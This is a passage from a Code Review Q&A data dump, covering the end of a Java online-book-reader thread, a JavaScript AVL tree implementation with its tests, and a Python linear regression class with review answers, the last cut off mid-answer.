login_UserId, String login_Password) {\n this.userId = name.hashCode();\n this.name = name;\n\n this.subcriptionType = \"Classic\";\n this.login_UserId = login_UserId;\n this.login_Password = login_Password;\n }\n\n\n public void login(String loginUser, String login_Password){\n\n if(this.login_UserId == login_UserId && this.login_Password == login_Password) {\n\n System.out.println(\"Welcome \" + name);\n DateTimeFormatter dtf = DateTimeFormatter.ofPattern(\"yyyy/MM/dd HH:mm:ss\");\n LocalDateTime now = LocalDateTime.now();\n lastLoginDate = dtf.format(now);\n }else {\n System.out.println(\"Unsuccessful login \" + name);\n }\n\n }\n\n public void addBook(Book book){\n userBooks.put(book, new BookProgress(book,userId));\n }\n\n public HashMap<Book, BookProgress> getRegisteredBooks(){\n return this.userBooks;\n }\n\n\n public int startReading(Book book) throws InterruptedException {\n\n int resumedPage = userBooks.get(book).resumedPage;\n BookProgress progress = userBooks.get(book);\n\n for(int i=0;i<50;i++){\n progress.pageForward();\n }\n\n System.out.println(\"Started reading\");\n return resumedPage;\n }\n\n public void finishReading(Book book){\n BookProgress progress = userBooks.get(book);\n System.out.println(\"Finished reading at \"+ progress.resumedPage);\n }\n\n}\n*/\n</code></pre>\n\n<p>// Newly added\nUserManager.java</p>\n\n<pre><code>package oopdesign.onlineBookReaderSystem;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class UserManager {\n\n List<User> users;\n\n public UserManager(){\n users = new ArrayList<>();\n }\n\n public void addUser(User user){\n users.add(user);\n }\n\n public List<User> getAllUsers(){\n return users;\n }\n\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T21:38:54.400",
"Id": "464074",
"Score": "0",
"body": "If you want a follow-up review, you should ask a new question. If you're just trying to share your updated code, for future readers, then it would be helpful to include a short summary of what/why you've changed the code over the original posted in the question. See: https://codereview.meta.stackexchange.com/a/9123/4203"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T21:23:50.253",
"Id": "236744",
"ParentId": "236659",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:29:24.877",
"Id": "236659",
"Score": "2",
"Tags": [
"java",
"object-oriented",
"design-patterns"
],
"Title": "Online Book Reader Object Oriented Design"
}
|
236659
|
<p>I have been working through Introduction to Algorithms 3rd Edition, and have implemented an AVL tree through prototypal inheritance. The code presented here does work as expected based on the tests that I currently have.</p>
<h2><strong>What I am looking for</strong></h2>
<ul>
<li>Review of overall implementation in terms of efficiency, and correctness</li>
<li>Potential missed test cases in <code>test.js</code></li>
<li>Potential simplifications</li>
<li>Adherence to code style and generally accepted standards for formatting</li>
</ul>
<h2>What I am not looking for</h2>
<ul>
<li>Review of overall structure of <code>test.js</code> (I plan on cleaning this up on my own)</li>
</ul>
<p>There are some other files which create the Binary Search Tree (BST) and that handle the tree itself; Tree and TreeNode objects. I did not include these for the review, but can if deemed necessary.</p>
<p><em><strong>EDIT:</strong> I did include all files required to run tests.</em></p>
<h2><strong>How to run tests</strong></h2>
<p>To run the tests, first install the dependencies: <code>npm i chai mocha nyc</code> (I included nyc to test code coverage as well. Then you can run the tests using <code>mocha --ui bdd</code>. To run tests with coverage report <code>nyc --reporter=text --extension=.js mocha --ui bdd test.js</code></p>
<h2><strong>avl-tree.js</strong></h2>
<pre><code>const TreeNode = require( "../tree-node.js" );
const BST = require( "../BST/bst" );
const BalanceState = {
UNBALANCED_RIGHT: 1,
SLIGHTLY_UNBALANCED_RIGHT: 2,
BALANCED: 3,
SLIGHTLY_UNBALANCED_LEFT: 4,
UNBALANCED_LEFT: 5
};
/**
* @description AVL Trees are a type of BST, which abides by the following
* properties:
* - Abides by all the properties of a BST (Binary Search Tree)
* - The heights of the left and right subtrees of any node differ by no more
* than 1
*
* AVL trees maintain a worst-case height of O(log N). All of the following
* operations also have a worst-case time complexity of O(log N): search,
* insert, delete. When an imbalance of the subtree heights is detected,
* rotations are performed on the node's subtree with the following cases:
*
* Case: Where insertion took place | Type of rotation
* ----------------------------------------------------------------
* 1) Left subtree of left child of x | rotateRight
* 2) Right subtree of left child of x | rotateLeft, then rotateRight
* 3) Left subtree of right child of x | rotateLeft
* 4) Right subtree of right child of x | rotateRight, then rotateLeft
* @param bst
* @constructor
*/
function AVL ( bst = new BST() ) {
this.tree = bst.tree;
}
/**
* @description Calculate the height difference between the left and right
* subtrees
* @param node {object} Node to calculate the height difference for subtrees
* @returns {number} Returns the height difference between the left and right
* subtrees
*/
AVL.prototype.heightDifference = function ( node ) {
return Math.abs( node.leftHeight() - node.rightHeight() );
};
/**
* @public
* @description Attempts to insert the node into the AVL Tree, performs
* rotations when necessary
* @param node {object} Instance of the object object to insert into the AVL
* tree
* @returns {object} Returns new root node for AVL Tree
*/
AVL.prototype.insert = function ( node ) {
this.tree.root = this._insert( node, this.tree.root );
this.tree.size++;
return node;
};
/**
* @private
* @description Attempts to insert the node into the AVL Tree, performs
* necessary rotations when necessary
* @param root {object} Root node of subtree, defaults to root of AVL tree
* @param node {object} Instance of the object object to insert into the AVL
* tree
* @returns {object} Returns new root node for AVL Tree
*/
AVL.prototype._insert = function ( node, root = this.tree.root ) {
if ( !root ) {
// Insert the node
root = new TreeNode( node.parent, node.left, node.right, node.key, node.data );
} else if ( this.compare( node.key, root.key ) < 0 ) {
// Recurse into left subtree
root.left = this._insert( node, root.left );
} else if ( node.key > root.key ) {
// Recurse into right subtree
root.right = this._insert( node, root.right );
} else {
// Duplicate key, reduce size to account for increment in insert method
this.tree.size--;
}
// Update height and re-balance
return this.balance( node, root );
};
/**
* @public
* @description Attempts to delete the node with key from the AVL Tree,
* performs rotations when necessary
* @param key {*} Key of the node to delete. Data type must match that of the
* key for the node
* @returns {Object} Returns key of the node that was deleted from the tree
*/
AVL.prototype.delete = function ( key ) {
this.tree.root = this._delete( key, this.tree.root );
this.tree.size--;
return key;
};
/**
* @description Attempts to delete the node from the subtree. Afterwards, the
* subtree is rebalanced in the outward flow of recursion.
* @param key {*} Key for the node that is to be deleted
* @param root {object} Root of the subtree to search through
* @returns {object} Returns the new subtree root, after any deletions/rotations
* @private
*/
AVL.prototype._delete = function ( key, root ) {
if ( !root ) {
// Account for the decrement in size; no node found
this.tree.size++;
return root;
}
if ( this.compare( key, root.key ) < 0 ) {
// Recurse down the left subtree for deletion
root.left = this._delete( key, root.left );
} else if ( this.compare( key, root.key ) > 0 ) {
// Recurse down the right subtree for deletion
root.right = this._delete( key, root.right );
} else {
// Key matches the root of this subtree
if ( !( root.left || root.right ) ) {
// This is a leaf node, and deletion is trivial
root = null;
} else if ( !root.left && root.right ) {
// Node only has a right leaf
root = root.right;
} else if ( root.left && !root.right ) {
// Node only has a left leaf
root = root.left;
} else {
/*
* Node has 2 children. To delete this node, a successor must be determined.
* Successor is:
* 1) Smallest key in the right subtree
* 2) Largest key in the left subtree
*/
const successor = this.tree.minimum( root.right );
root.key = successor.key;
root.data = successor.data;
root.right = this._delete( successor.key, root.right );
}
}
if ( !root ) {
return root;
}
// Update height and balance tree
return this.deleteBalance( root );
};
/**
* @description Performs the necessary rotations in order to balance the subtree
* @param node {object} Node that is either inserted or deleted from subtree
* @param root {object} Root node of the subtree
* @returns {object} Returns the new root of the subtree after rotations
*/
AVL.prototype.balance = function ( node, root ) {
root.height = root.getMaxHeight( root.leftHeight(), root.rightHeight() );
const balanceState = getBalanceState( root );
if ( balanceState === BalanceState.UNBALANCED_LEFT ) {
if ( this.compare( node.key, root.left.key ) < 0 ) {
// Rotation case 1
root = root.rotateWithLeftChild();
} else {
// Rotation case 2
return root.doubleRotateLeft();
}
}
if ( balanceState === BalanceState.UNBALANCED_RIGHT ) {
if ( this.compare( node.key, root.right.key ) > 0 ) {
// Rotation case 4
root = root.rotateWithRightChild();
} else {
// Rotation case 3
return root.doubleRotateRight();
}
}
return root;
};
/**
* @description
* @param root {object} Root of subtree
* @returns {object} Returns the new root node after rotations
*/
AVL.prototype.deleteBalance = function ( root ) {
root.height = Math.max( root.leftHeight(), root.rightHeight() ) + 1;
const balanceState = getBalanceState( root );
if ( balanceState === BalanceState.UNBALANCED_LEFT ) {
let leftBalanceState = getBalanceState( root.left );
// Case 1
if ( leftBalanceState === BalanceState.BALANCED ||
leftBalanceState === BalanceState.SLIGHTLY_UNBALANCED_LEFT ) {
return root.rotateWithLeftChild();
}
// Case 2
if ( leftBalanceState === BalanceState.SLIGHTLY_UNBALANCED_RIGHT ) {
return root.doubleRotateLeft();
}
}
if ( balanceState === BalanceState.UNBALANCED_RIGHT ) {
let rightBalanceState = getBalanceState( root.right );
// Case 4
if ( rightBalanceState === BalanceState.BALANCED ||
rightBalanceState === BalanceState.SLIGHTLY_UNBALANCED_RIGHT ) {
return root.rotateWithRightChild();
}
// Case 3
if ( rightBalanceState === BalanceState.SLIGHTLY_UNBALANCED_LEFT ) {
return root.doubleRotateRight();
}
}
return root;
};
/**
* @description Compares keys of objects
* @param a {int} Key from first object to compare
* @param b {int} Key from second object to compare
* @returns {number} Returns 1 if a > b, -1 if a < b, and 0 if a === b
*/
AVL.prototype.compare = function ( a, b ) {
return a - b;
};
/**
* @private
* @description Gets the balance state of a node, indicating whether the left
* or right sub-trees are unbalanced.
* @param {object} node The node to get the difference from.
* @return {int} The BalanceState of the node.
*/
function getBalanceState ( node ) {
const heightDifference = node.leftHeight() - node.rightHeight();
return heightDifference === -2
? BalanceState.UNBALANCED_RIGHT
: heightDifference === 2
? BalanceState.UNBALANCED_LEFT : 0;
}
module.exports = AVL;
</code></pre>
<h2><strong>test.js</strong></h2>
<pre><code>const assert = require( "chai" ).assert;
const mocha = require( "mocha" );
const AVL = require( "./avl-tree" );
const TreeNode = require( "../tree-node" );
const util = require( "../../../util" );
describe( "AVL Tree", () => {
let avl = new AVL();
const nodesToInsert = 1000;
it( "Should initialize as an empty tree", () => {
assert.equal( avl.tree.size, 0, `Did not initialize properly` );
} );
it( `Should insert up to ${nodesToInsert} nodes`, () => {
for ( let i = 0; i < nodesToInsert; i++ ) {
let newNode = new TreeNode( null, null, null, util.randomNumber( Number.MAX_SAFE_INTEGER, 1 ), util.randomNumber( 1000, 0 ) );
assert( avl.insert( newNode ), `Could not insert node ${newNode}` );
}
} );
it( `Should have a size <= ${nodesToInsert}`, () => {
assert.isAtLeast( avl.tree.size, nodesToInsert, `Did not insert correct number of nodes` );
} );
it( "Should be balanced", () => {
assert.isBelow( avl.heightDifference( avl.tree.root ), 2, "Tree is unbalanced" );
} );
it( "Should ignore inserting a duplicate node", () => {
const minNode = Object.assign( {}, avl.tree.get( avl.tree.minimum().key ) );
const previousSize = avl.tree.size;
minNode.data = "Attempting to replace node";
avl.insert( minNode );
assert.equal( avl.tree.size, previousSize, "Duplicate node was inserted" );
} );
it( "Should retrieve the minimum node in the tree", () => {
assert.exists( avl.tree.minimum(), "Minimum node not retrieved" );
} );
it( "Should retrieve the maximum node in the tree", () => {
assert.exists( avl.tree.maximum(), "Maximum node not retrieved" );
} );
it( "Should not delete a non-existent key", () => {
const previousSize = avl.tree.size;
const rootNode = avl.tree.root;
avl.delete( Number.MIN_SAFE_INTEGER );
assert.equal( avl.tree.size, previousSize, "Duplicate node was inserted" );
assert.deepEqual( avl.tree.root, rootNode, "Root node changed unexpectedly" );
} );
it( "Should retrieve, and delete the minimum node, then update tree size", () => {
const minNode = Object.assign( {}, avl.tree.get( avl.tree.minimum().key ) );
const previousSize = avl.tree.size;
assert.equal( avl.delete( minNode.key ), minNode.key, "Delete did not return the key of the minimum node" );
assert.notExists( avl.tree.get( minNode.key ), "Minimum node was not deleted" );
assert.equal( avl.tree.size, previousSize - 1, "Tree Size did not update after deletion" );
} );
it( "Should retrieve, and delete the maximum node, then update tree size", () => {
const maxNode = Object.assign( {}, avl.tree.get( avl.tree.maximum().key ) );
const previousSize = avl.tree.size;
assert.equal( avl.delete( maxNode.key ), maxNode.key, "Delete did not return the key of the maximum node" );
assert.notExists( avl.tree.get( maxNode.key ), "Maximum node was not deleted" );
assert.equal( avl.tree.size, previousSize - 1, "Tree Size did not update after deletion" );
} );
it( "Should remain balanced after deleting node with 2 children", () => {
const leftChildOfRoot = Object.assign( {}, avl.tree.root.left );
const previousSize = avl.tree.size;
avl.delete( leftChildOfRoot.key );
assert.notExists( avl.tree.get( leftChildOfRoot.key ), "Left node was not deleted" );
assert.equal( avl.tree.size, previousSize - 1, "Tree Size did not update after deletion" );
assert.notDeepEqual( avl.tree.root.left, leftChildOfRoot, "Left child of root was not deleted" );
assert.isBelow( avl.heightDifference( avl.tree.root ), 2, "Tree is unbalanced" );
} );
} );
</code></pre>
<h2><strong>bst.js</strong></h2>
<pre><code>const TreeNode = require( "../tree-node.js" );
const Tree = require( "../tree" );
const util = require( "../../../util" );
/**
* @description Creates a new instance of a BST (Binary Search Tree) object
* @param tree {Tree} Optional parameter. Can either pass an existing tree, or
* if omitted creates a new empty tree
* @constructor
*/
function BST ( tree = new Tree() ) {
this.tree = tree;
}
/**
* @description Inserts a TreeNode object into the tree, in the proper position
* following BST properties
* @param node {object} Instance of TreeNode object
* @returns {*} Returns the inserted node
*/
BST.prototype.insert = function ( node ) {
if ( node ) {
if ( !this.tree.root ) {
this.tree.root = node;
this.tree.size++;
} else {
let parent = null;
let current = this.tree.root;
while ( current ) {
parent = current;
current = util.compare( node.key, current.key ) < 0 ? current.left : current.right;
}
node.parent = parent;
if ( node.key < parent.key ) {
node.parent = parent;
parent.left = node;// Insert left child
} else {
node.parent = parent;
parent.right = node; // Insert right child
}
this.tree.size++;
return node;
}
}
return node;
};
/**
* @description Attempts to delete the node from the tree provided.
* @param node {object} Instance of TreeNode object
* @returns {*} Returns deleted node if node was found and deleted, otherwise
* returns null
*/
BST.prototype.delete = function ( node ) {
if ( node ) {
if ( !node.left ) {
this.transplant( node, node.right );
} else if ( !node.right ) {
this.transplant( node, node.left );
} else {
let min = this.tree.minimum( node.right );
if ( min.parent !== node ) {
this.transplant( min, min.right );
min.right = node.right;
min.right.parent = min;
}
this.transplant( node, min );
min.left = node.left;
min.left.parent = min;
}
this.tree.size--;
return node;
}
return null;
};
/**
* @description Starting from the root, search for a node that has the
* matching key provided
* @param key {*} The key to find in the BST
* @return {null|Object} Returns null if the node is not found,
* or the node if the node is found
*/
BST.prototype.search = function ( key ) {
let node = this.tree.root;
while ( node ) {
if ( util.compare( key, node.key ) < 0 ) {
node = node.left;
} else if ( util.compare( key, node.key ) > 0 ) {
node = node.right;
} else {
return node;
}
}
if ( !node ) {
return null;
}
};
/**
* @description Transplants a subtree to a new parent. This is used when
* deleting nodes, and rearranging the BST
* @param subtreeA {object} Instance of TreeNode object
* @param subtreeB {object} Instance of TreeNode object
*/
BST.prototype.transplant = function ( subtreeA, subtreeB ) {
if ( !subtreeA.parent ) {
this.tree.root = subtreeB;
} else if ( subtreeA === subtreeA.parent.left ) {
subtreeA.parent.left = subtreeB;
} else {
subtreeA.parent.right = subtreeB;
}
if ( subtreeB ) {
subtreeB.parent = subtreeA.parent;
}
};
/**
* @description Determines the minimum depth of a binary tree node.
* @param {object} node The node to check.
* @return {int} The minimum depth of a binary tree node.
*/
BST.prototype.minDepth = function ( node ) {
return node ? 1 + Math.min( this.minDepth( node.left ), this.minDepth( node.right ) ) : 0;
};
/**
* @description Determines the maximum depth of a binary tree node.
* @param {object} node The node to check.
* @return {int} The maximum depth of a binary tree node.
*/
BST.prototype.maxDepth = function ( node ) {
return node ? 1 + Math.max( this.maxDepth( node.left ), this.maxDepth( node.right ) ) : 0;
};
/**
* @description Determines whether a binary tree is balanced.
* @returns {boolean} Whether the tree is balanced.
*/
BST.prototype.isBalanced = function () {
return this.tree.root ? this.maxDepth( this.tree.root ) - this.minDepth( this.tree.root ) <= 1 : false;
};
module.exports = BST;
</code></pre>
<h2><strong>tree.js</strong></h2>
<pre><code>/**
* @description Constructor to create an instance of a Tree object
* @param root {object} Optional parameter. Can provide a root node to
* initialize tree with
* @constructor
*/
function Tree ( root = null ) {
this.root = root;
this.size = 0;
}
/**
* @description Adds keys from leftmost to right most (in ascending order of
* keys) to an array, then returns the array
* @returns {Array} Returns the tree keys sorted in order of key value
*/
Tree.prototype.inOrderWalk = function () {
let result = [],
traverse = function ( node ) {
if ( node !== null ) {
traverse( node.left );
result.push( node.key );
traverse( node.right );
}
};
traverse( this.root );
return result;
};
/**
* @description Adds keys with the subtree roots first, then the keys in those
* subtrees
* @returns {Array} Returns the tree keys sorted in pre-order
*/
Tree.prototype.preOrderWalk = function () {
let result = [],
traverse = function ( node ) {
if ( node !== null ) {
result.push( node.key );
traverse( node.left );
traverse( node.right );
}
};
traverse( this.root );
return result;
};
/**
* @description Adds keys of the subtrees first, then the root keys for those
* subtrees
* @returns {Array} Returns the tree keys sorted in post-order
*/
Tree.prototype.postOrderWalk = function () {
let result = [],
traverse = function ( node ) {
if ( node !== null ) {
traverse( node.left );
traverse( node.right );
result.push( node.key );
}
};
traverse( this.root );
return result;
};
/**
* @description Retrieves the minimum key value of nodes in the tree
* @returns {*} Returns the minimum key value for the provided tree
*/
Tree.prototype.minimum = function ( node = this.root ) {
while ( node.left !== null ) {
node = node.left;
}
return node;
};
/**
* @description Retrieves the maximum key value of nodes in the tree
* @returns {*} Returns the maximum key value for the provided tree
*/
Tree.prototype.maximum = function ( node = this.root ) {
while ( node.right !== null ) {
node = node.right;
}
return node;
};
/**
* @description If all keys are distinct, the successor of the node is that
* which has the smallest key greater than 'node'.
* @param node {object} Instance of a TreeNode node
* @returns {*} Returns the successor node for the provided node
*/
Tree.prototype.successor = function ( node ) {
if ( node.right !== null ) {
return this.minimum( node.right );
}
let successor = node.parent;
while ( successor !== null && node === successor.right ) {
node = successor;
successor = successor.parent;
}
return successor;
};
/**
* @description If all keys are distinct, the predecessor of the node is that
* which has the smallest key less than 'node'.
* @param node {object} Instance of a TreeNode node
* @returns {*} Returns the predecessor node for the provided node
*/
Tree.prototype.predecessor = function ( node ) {
if ( node.left !== null ) {
return this.maximum( node.left );
}
let predecessor = node.parent;
while ( predecessor !== null && node === predecessor.left ) {
node = predecessor;
predecessor = predecessor.parent;
}
return predecessor;
};
/**
* @description Performs a recursive search for the value provided, across all
* nodes in the tree, starting from 'node'
* @param value {*} Key to search for, must match data type of the key
* @returns {*} Returns the node found matching the key, or null if no node was
* found
*/
Tree.prototype.get = function ( value ) {
let node = this.root;
let traverse = function ( node ) {
if ( !node || node.key === value ) {
return node;
}
if ( value < node.key ) {
return traverse( node.left, value );
} else {
return traverse( node.right, value );
}
};
return traverse( node );
};
module.exports = Tree;
</code></pre>
<h2><strong>tree-node.js</strong></h2>
<pre><code>/**
* @description Constructor to create an instance of the TreeNode object, which is used by the
* Tree object to construct various types of trees.
* @param parent {object} Parent TreeNode object of the node
* @param left {object} Left TreeNode object of the node
* @param right {object} Right TreeNode object of the node
* @param key {*} Identifier used to Retrieve a node
* @param data {object} Can be any satellite data needed to be stored in the node
* @constructor
*/
function TreeNode ( parent = null, left = null, right = null, key = null, data = null ) {
this.parent = parent;
this.left = left;
this.right = right;
this.key = key;
this.data = data;
}
/**
* @description Retrieves the height of the left subtree for the node
* @returns {number} Height of the left subtree of the node, or -1
*/
TreeNode.prototype.leftHeight = function () {
return this.left ? this.left.height : -1;
};
/**
* @description Retrieves the height of the right subtree for the node
* @returns {number} Height of the right subtree of the node, or -1
*/
TreeNode.prototype.rightHeight = function () {
return this.right ? this.right.height : -1;
};
/**
* @description Calculates the maximum height between the two subtree heights
* @param a {int} Height of node subtree as an integer
* @param b {int} Height of node subtree as an integer
* @returns {number} Returns the higher of the two values + 1 to account for root
*/
TreeNode.prototype.getMaxHeight = function ( a, b ) {
return Math.max( a, b ) + 1;
};
/**
* @description Rotate BST node with right child
* @returns {TreeNode} Returns the rotated node, which is new subtree root
*/
TreeNode.prototype.rotateWithLeftChild = function () {
let tempNode = this.left;
this.left = tempNode.right;
tempNode.right = this;
this.height = this.getMaxHeight( this.leftHeight(), this.rightHeight() );
tempNode.height = this.getMaxHeight( tempNode.leftHeight(), this.height );
return tempNode;
};
/**
* @description Rotate BST node with right child
* @returns {TreeNode} Returns the rotated node, which is new subtree root
*/
TreeNode.prototype.rotateWithRightChild = function () {
let tempNode = this.right;
this.right = tempNode.left;
tempNode.left = this;
this.height = this.getMaxHeight( this.leftHeight(), this.rightHeight() );
tempNode.height = this.getMaxHeight( tempNode.rightHeight(), this.height );
return tempNode;
};
/**
* @description Rotate BST node with left child
* @returns {TreeNode} Returns the rotated node, which is new subtree root
*/
/**
* @description Double Rotate BST node: first left child, with its right child.
* Then node k3 with new left child.
* @returns {TreeNode} Returns the rotated node, which is the new subtree root
*/
TreeNode.prototype.doubleRotateLeft = function () {
this.left = this.left.rotateWithRightChild();
return this.rotateWithLeftChild();
};
/**
* @description Double rotate BST node: first right child with its left child.
* Then node k1 with new right child.
* @returns {TreeNode} Returns the rotated node, which is the new subtree root
*/
TreeNode.prototype.doubleRotateRight = function () {
this.right = this.right.rotateWithLeftChild();
return this.rotateWithRightChild();
};
module.exports = TreeNode;
<span class="math-container">````</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:54:01.913",
"Id": "463910",
"Score": "0",
"body": "@greybeard yes, I stepped away for lunch but I will update as soon as I am back! I’ll include all 3 files"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T18:02:28.190",
"Id": "463913",
"Score": "0",
"body": "In `_insert`, you use both `this.compare( node.key, root.key ) < 0` and `node.key > root.key`, and you could skip balance handling went not actually inserting."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T19:05:21.637",
"Id": "463918",
"Score": "0",
"body": "@greybeard I have updated the question with the files: `bst.js`, `tree.js`, and `tree-node.js`. I also included instructions for how to run the tests locally"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T20:38:48.023",
"Id": "463927",
"Score": "1",
"body": "Don't use `_` as a prefix for private methods. Instead, use closure syntax (Or some other way of actually making them \"private\")."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T17:42:05.687",
"Id": "236660",
"Score": "4",
"Tags": [
"javascript",
"algorithm",
"node.js",
"tree"
],
"Title": "JavaScript AVL Tree"
}
|
236660
|
<p>I have recently been brushing up on my statistics and calculus and wanted to implement Linear Regression, the code will be for a calculus/statistics library I am working on (I know there are libraries for this but I am trying improve my both coding and math skills).</p>
<p>The following code works as intended. However, I feel like it has some structural flaws and I can't put my finger on what it is</p>
<pre><code>class LinearReg:
x = []
y = []
x_mean = 0
y_mean = 0
b_zero = 0
slope = 0
def __init__(self,x,y):
if len(x) != len(y):
raise Error("Both axis must have the same number of values")
self.x = x
self.y = y
self.x_mean = self.axis_mean(self.x)
self.y_mean = self.axis_mean(self.y)
def axis_mean(self,axis):
return sum(axis) / len(axis)
def sum_of_deviation_products(self):
result = 0
for i in range(len(self.y)):
x_dev = (self.x[i] - self.x_mean)
y_dev = (self.y[i] - self.y_mean)
result += x_dev * y_dev
return result
def sum_of_x_deviation_squared(self):
result = 0
for i in range(len(self.x)):
result += (self.x[i] - self.x_mean)**2
return result
def get_b_zero(self):
return self.b_zero
def get_slope(self):
self.slope = self.sum_of_deviation_products() / self.sum_of_x_deviation_squared()
return self.slope
def fit_best_line(self):
self.b_zero = self.y_mean - (self.get_slope() * self.x_mean)
print("The best line equation is: " +
"%.2f" % self.slope
+ "x + " +
"%.2f" % self.b_zero)
</code></pre>
<p>My primary focus is now: structure and cleanliness, </p>
<ul>
<li>How efficient would this play out in a large library?</li>
<li>How clean and readable is the code?</li>
<li>What kind of problems would I face if this class were to interact with other classes in the library?</li>
</ul>
<p>Perhaps there is quicker way to do Linear Regression in Theory, but I'm not really interested in that right now.</p>
|
[] |
[
{
"body": "<h3>Toward optimized functionality and design</h3>\n\n<ul>\n<li><p>since all crucial attributes <code>x</code>, <code>y</code>, <code>x_mean</code>, <code>y_mean</code> are initialized on <code>LinearReg</code> instance creation (within <code>__init__</code> method) - no need to duplicate and define them as class attributes (<code>x = [] ... y = []</code>), those should be removed as redundant</p></li>\n<li><p><code>raise Error</code> - <code>Error</code> is not Python exception class. Use <code>Exception</code> or <code>ValueError</code></p></li>\n<li><p><code>axis_mean(self, axis)</code> function does not use <code>self</code> context and deserves to be just a <strong><code>@staticmethod</code></strong></p></li>\n<li><p><strong><code>sum_of_deviation_products/sum_of_x_deviation_squared</code></strong> functions <br>\n<em>Substitute algorithm:</em> instead of going with external variable <code>result</code> + <code>range(len(..))</code> + <code>for</code> loop - apply a convenient combination of <code>sum</code> + <code>enumerate</code> functions:</p>\n\n<pre><code>def sum_of_deviation_products(self):\n return sum((self.x[i] - self.x_mean) * (y - self.y_mean)\n for i, y in enumerate(self.y))\n</code></pre>\n\n<p>A good (or better) alternative would be <code>sum</code> + <code>zip</code> approach: <code>sum((x - self.x_mean) * (y - self.y_mean) for x, y in zip(self.x, self.y))</code></p></li>\n<li><p><code>get_b_zero</code> method is redundant as it's just return a public attribute <code>self.b_zero</code> (which is accessed directly)</p></li>\n<li><p><code>get_slope</code> method <br>\nInstead of storing and reassigning <code>self.slope</code> attribute on each method invocation - as it's recalculated each time, it deserves to be a <em>computed attribute</em> using <strong><code>@property</code></strong> decorator:</p>\n\n<pre><code>@property\ndef slope(self):\n return self.sum_of_deviation_products() / self.sum_of_x_deviation_squared()\n</code></pre>\n\n<p>Now, it's simply accessed with <code>self.slope</code>. </p></li>\n<li><p><strong><code>fit_best_line</code></strong> method <br>\nInstead of unreadable string concatenation like <code>... + \"%.2f\" % self.slope + \"x + \" + \"%.2f\" % self.b_zero</code> use flexible <strong><code>f-string</code></strong> formatting:</p>\n\n<p><code>print(f\"The best line equation is: {self.slope:.2f}x + {self.b_zero:.2f}\")</code>.</p>\n\n<p>The conciseness and flexibility are obvious.<br>\nAlso, in case if <code>b_zero</code> attribute/property happen to be only actual in context of <code>fit_best_line</code> call - it can be eliminated and declared as just local variable.</p></li>\n</ul>\n\n<hr>\n\n<p>The final optimized approach:</p>\n\n<pre><code>class LinearReg:\n def __init__(self, x, y):\n if len(x) != len(y):\n raise ValueError(\"Both axis must have the same number of values\")\n\n self.x = x\n self.y = y\n self.x_mean = self.axis_mean(self.x)\n self.y_mean = self.axis_mean(self.y)\n self.b_zero = 0\n\n @staticmethod\n def axis_mean(axis):\n return sum(axis) / len(axis)\n\n def sum_of_deviation_products(self):\n return sum((self.x[i] - self.x_mean) * (y - self.y_mean)\n for i, y in enumerate(self.y))\n\n def sum_of_x_deviation_squared(self):\n return sum((x - self.x_mean) ** 2\n for x in self.x)\n\n @property\n def slope(self):\n return self.sum_of_deviation_products() / self.sum_of_x_deviation_squared()\n\n def fit_best_line(self):\n self.b_zero = self.y_mean - (self.slope * self.x_mean)\n print(f\"The best line equation is: {self.slope:.2f}x + {self.b_zero:.2f}\")\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T23:18:27.600",
"Id": "463947",
"Score": "0",
"body": "Loop like a native, and avoid indexing. Using `sum((x - self.x_mean) * (y - self.y_mean) for x, y in zip(self.x, self.y))` would be cleaner and faster. Ditto for `sum((x - self.x_mean) ** 2 for x in self.x)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:03:18.823",
"Id": "463964",
"Score": "0",
"body": "What's the use of adding `@property` in this case? Also would it be reasonable put `self.slope = self.sum_of_deviation_products() / self.sum_of_x_deviation_squared()` in the constructor? Also same goes for axis_mean."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-05T07:59:09.223",
"Id": "463977",
"Score": "0",
"body": "@AJNeufeld, thanks for the hint, was writing a quick review at late night (could miss something)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T21:48:18.830",
"Id": "236674",
"ParentId": "236668",
"Score": "4"
}
},
{
"body": "<h1>Consistency</h1>\n\n<p>Your class does not seem consistent with itself. If you create a <code>LinearReg</code> object:</p>\n\n<pre><code>x = [1, 2, 3, 4, 5]\ny = [2, 3, 2.5, 4, 3.5]\nlr = LinearReg(x, y)\n</code></pre>\n\n<p>The constructor computes the mean of the <code>x</code> and <code>y</code> lists, and stores these for later computations. These means are fixed; you cannot add additional data points, as the mean will not be recomputed.</p>\n\n<p>If you call <code>lr.get_b_zero()</code>, you will return the value <code>0</code>, since the <code>b_zero</code> member has not been computed.</p>\n\n<p>Each time you call <code>lr.get_slope()</code>, it recomputes the slope and stores the result. If you have changed the <code>x</code> and <code>y</code> lists, the computed value will be different ... and incorrect since the mean values have not changed.</p>\n\n<p>Each time you call <code>fit_best_line()</code>, it calls <code>get_slope()</code> which recomputes the slope (possibly incorrectly if the data has changed), and uses the result to compute (or recompute) and store the <code>b_zero</code> value. And as a side effect, it prints the line equation.</p>\n\n<p>If you want to use this class to get the best fit straight line, and use the slope & intercept in other calculations, you must:</p>\n\n<ul>\n<li>Create the <code>LinearReg</code> object</li>\n<li>Call <code>fit_best_line()</code> to compute the b_zero\n\n<ul>\n<li>Ignore the spurious, unnecessary print output</li>\n</ul></li>\n<li>Call <code>get_slope()</code> (unnecessarily recomputes the slope)</li>\n<li>Call <code>get_b_zero()</code>.</li>\n<li>Use the return values.</li>\n</ul>\n\n<p>I'm certain you'd agree this is somewhat awkward. It would not work well in a large library.</p>\n\n<h1>Stop Writing Classes</h1>\n\n<p>See the YouTube video <a 